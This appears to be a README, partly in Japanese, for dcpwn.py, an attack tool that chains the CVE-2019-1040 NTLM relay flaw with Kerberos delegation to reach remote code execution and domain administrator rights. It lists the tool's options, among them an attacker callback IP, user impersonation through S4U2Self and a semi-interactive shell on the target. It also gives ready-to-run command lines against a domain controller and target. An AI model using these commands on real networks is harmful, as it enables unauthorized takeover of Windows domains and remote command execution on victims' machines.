CVE-2019-1040-dcpwn

素晴らしい解説記事です！ CVE-2019-1040 の悪用 - リレーの脆弱性を組み合わせて RCE とドメイン管理者を目指す。

そこで、使いやすいように dcpwn.py を作成しました。

Requirements

これらのツールは impacket を必要とします。pip からインストールできます。

pip install impacket

Usage

usage: dcpwn.py [-h] [-u USERNAME] [-p PASSWORD] [--hashes HASHES] -d DOMAIN
                [--smb-port [destination port]] --callback-ip CALLBACK_IP
                --ldaps LDAPS --dc-ip DC_IP [--timeout TIMEOUT]
                [--impersonate IMPERSONATE] -t Target [-share SHARE]
                [--command [COMMAND [COMMAND ...]]] [--debug]

CVE-2019-1040 with Kerberos delegation

optional arguments:
  -h, --help            show this help message and exit
  -u USERNAME, --user USERNAME
                        username for authentication
  -p PASSWORD, --password PASSWORD
                        Password for authentication, will prompt if not
                        specified and no NT:NTLM hashes are supplied
  --hashes HASHES       LM:NLTM hashes
  -d DOMAIN, --domain DOMAIN
                        domain the user is in (FQDN or NETBIOS domain name)
  --smb-port [destination port]
                        Destination port to connect to SMB Server
  --callback-ip CALLBACK_IP
                        Attacker hostname or IP
  --ldaps LDAPS         Hostname or ldaps server
  --dc-ip DC_IP         Domain controller ip address
  --timeout TIMEOUT     timeout in seconds
  --impersonate IMPERSONATE
                        target username that will be impersonated (thru
                        S4U2Self) for quering the ST. Keep in mind this will
                        only work if the identity provided in this scripts is
                        allowed for delegation to the SPN specified
  -t Target, --target Target
                        Hostname/IP of the target server
  -share SHARE          share where the output will be grabbed from (default
                        ADMIN$)
  --command [COMMAND [COMMAND ...]]
                        command to execute at the target. If empty it will
                        launch a semi-interactive shell
  --debug               Enable debug output

例:

sudo python dcpwn.py -u user -p pass -d domain.com --callback-ip attackterip --ldaps ldapsip --dc-ip DCip -t target

cmd.exe のようなコマンドを実行したい場合は --command を使用します。

例:

sudo python dcpwn.py -u user -p pass -d domain.com --callback-ip attackterip --ldaps ldapsip --dc-ip DCip -t target --command 'cmd.exe'

特定のユーザーを偽装したい場合は --impersonate を使用します。

sudo python dcpwn.py -u user -p pass -d domain.com --callback-ip attackterip --ldaps ldapsip --dc-ip DCip -t target --impersonate someone

CVE-2019-1040-dcpwn

人気

CVE-2019-1040-dcpwn

Requirements

Usage